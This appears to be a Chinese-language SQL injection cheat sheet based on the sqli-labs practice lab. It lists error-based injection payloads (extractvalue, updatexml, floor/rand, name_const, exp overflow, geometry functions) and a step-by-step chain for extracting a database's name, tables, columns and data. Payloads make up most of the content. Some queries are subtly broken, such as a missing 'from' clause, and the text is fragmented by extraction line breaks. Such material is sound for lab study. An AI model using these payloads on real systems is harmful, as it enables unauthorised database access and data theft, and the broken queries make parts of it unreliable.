基于sqli-labs
XPATH报错注入:
1.
extractvalue(arg1,arg2)
此函数从目标XML中返回包含所查询值的字符串。
•
接受两个参数
,arg1:
XML
文档
,arg2:
XPATH
语句
•
条件
:mysql
5.1
及以上
版本
•
标准payload:
extractvalue(1,concat(0x7e,(select
user()),0x7e))
•
返回结果:XPATH
syntax error:
'~root@localhost~’
XPATH
报错注入:
2.updatexml(arg1,arg2,arg3)
•
arg1
为xml文档
对象的名称
;arg2
为
xpath
格式的
字符串
;arg3
为
string
格式
替换
查找到的符合条件的数据。
•
条件
:mysql
5.1.5
及以上
版本
•
标准payload:
updatexml(1,concat(0x7e,(select
user()),0x7e),1)
•
返回结果:XPATH
syntax error:
'~root@localhost~’
•
注意:
1.
XP
A
TH
报错注入的使用条件是
数据库版本符合条件
2.
extractvalue()
和
updatexml()
有
32
位
长度限制
floor报错注入:
•
floor()
函数的作用是返回
小于等于该值
的
最大整数
,只返回
arg1
整数部分
,小数部分舍弃。
•
条件
:
mysql
5.0
及以上
版本
•
标准
Payload:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)y)
•
结果
:Duplicate
entry 'root@localhost1' for key 'group_key’
floor报错注入解释:
•
floor()
报错注入准确地说应该是
floor
、
count
、
group
by
冲突报错
,count(*)
、
rand()
、
group
by
三者缺一不可
•
报错注入经典公式:
and select
1
from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by
x)a)
公式解析:
•
floor()
——
取整数
•
rand(0)*2
——
将取
0
到
2
的随机数
•
floor(rand()*2)
——
有两条记录就会报错
•
floor
(rand(0)*2)
——
记录需为
3
条以上,且
3
条以上必报错
,返回的值是有规律的
•
count(*)
——
用来统计结果,相当于刷新一次结果
•
group
by
——
在对数据进行分组时会先看虚拟表中
是否存在
这个值,
不存在就插入
;
存在
的话
count(*)
加
1
,
在使用
group
by
时
floor(rand(0)*2)
会被执行一次,若虚表不存在记录,插入虚表时会再执行一次
其他常用报错注入:
1.
列名重复报错注入
•
条件:
name_const()
函数在
低版本
中可以
支持
5.0
,
但是在
高版本
5.1+
中就
不支持
了
•
说明
:name_const(name,value),
当用来产生一个
结果集合列
时,
name_const()
促使该列
使用给定名称
•
标准Payload:
and (select * from (select name_const(version(),1),name_const(version(),1))x) --+
2.整形溢出报错注入
•条件:mysql 5.5.5及以上版本
•说明:exp是以e为底的指数函数,由于数字太大会产生溢出。该函数会在参数大于709时溢出,产生报错
•标准Payload:and exp(~(select * from (select user()) a) );
3.几何函数报错注入
•
条件:
高版本
MySQL
无法得到数据
•
相关函数
:geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
•
说明:函数对参数要求是形如
(1
2,3
3,2
2
1)
这样
几何数据
,如果
不满足要求
,则
会报错
•
标准Payload:
select multipoint((select * from (select * from (select * from (select version())a)b)c))
1、查看数据库版本:
•
语句:
•
1' and extractvalue(1,concat(0x7e,(select version()),0x7e))
•
2、查看数据库名字:
•
语句:
•
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))
•
3、查看数据库有多少个表:
•
语句
•
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e))
4、查看数据库有哪些表:
•
语句
•1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
•
5、查看表里面有哪些列名:
•
语句
•1' and extractvalue(1,concat(0x7e,(select column_name information_schema.columns where table_schema
=database() and table_name= '表名' limit 0,1),0x7e))
6、查看表里面的数据:
•
语句
•1’ and extractvalue(1,concat(0x7e,(select group_concat(列名) from 数据名.表名),0x7e))